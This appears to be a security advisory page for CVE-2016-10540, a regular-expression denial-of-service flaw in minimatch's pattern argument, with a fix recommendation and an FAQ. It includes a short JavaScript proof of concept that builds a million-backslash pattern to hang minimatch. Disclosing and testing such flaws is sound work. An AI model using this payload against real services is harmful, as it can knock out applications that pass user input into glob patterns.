CVE-2016-10540: Input Validation
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
Proof of Concept js var minimatch = require(“minimatch”);
// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”);
Recommendation
Update to version 3.0.2 or later.
Other sources
Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript RegExp objects. The primary function, minimatch(path, pattern) in Minimatch 3.0.1 and earlier is vulnerable to ReDoS in the pattern parameter.
Affected Software
Event History
Frequently Asked Questions
What is the vulnerability ID?
The vulnerability ID is CVE-2016-10540.
What is the severity rating of CVE-2016-10540?
CVE-2016-10540 has a severity rating of 7.5 (high).
What is the affected software for CVE-2016-10540?
The affected software for CVE-2016-10540 is minimatch.
How is minimatch vulnerable to denial of service attacks?
Minimatch is vulnerable to denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`.
How can I fix CVE-2016-10540?
To fix CVE-2016-10540, update minimatch to version 3.0.2.